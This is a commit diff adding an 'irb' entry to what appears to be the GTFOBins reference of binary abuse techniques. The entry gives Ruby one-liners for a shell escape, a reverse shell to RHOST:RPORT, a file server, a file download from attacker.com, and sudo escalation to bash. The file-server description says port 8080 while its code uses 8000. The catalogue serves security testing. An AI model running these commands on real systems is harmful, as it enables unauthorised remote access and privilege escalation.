Add irb (#44)

_gtfobins/irb.md

@@ -0,0 +1,30 @@
+---
+functions:
+  shell:
+    - code: |
+        irb
+        exec '/bin/bash'
+  reverse-shell:
+    - description: Run `nc -lvp RPORT` on the attacker box to receive the shell.
+      code: |
+        export RHOST='127.0.0.1'
+        export RPORT=9000
+        irb
+        require 'socket'; exit if fork;c=TCPSocket.new(ENV["RHOST"],ENV["RPORT"]);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read} end
+  file-upload:
+    - description: Serve files in the local folder running an HTTP server on port 8080.
+      code: |
+        irb
+        require 'webrick'; WEBrick::HTTPServer.new(:Port => 8000, :DocumentRoot => Dir.pwd).start;
+  file-download:
+    - description: Fetch a remote file via an HTTP GET request and store it in `PWD`.
+      code: |
+        export URL=http://attacker.com/file_to_get
+        export FILE=file_to_save
+        irb
+        require 'open-uri'; download = open(ENV['URL']); IO.copy_stream(download, ENV['FILE'])
+  sudo:
+    - code: |
+        sudo irb
+        exec '/bin/bash'
+---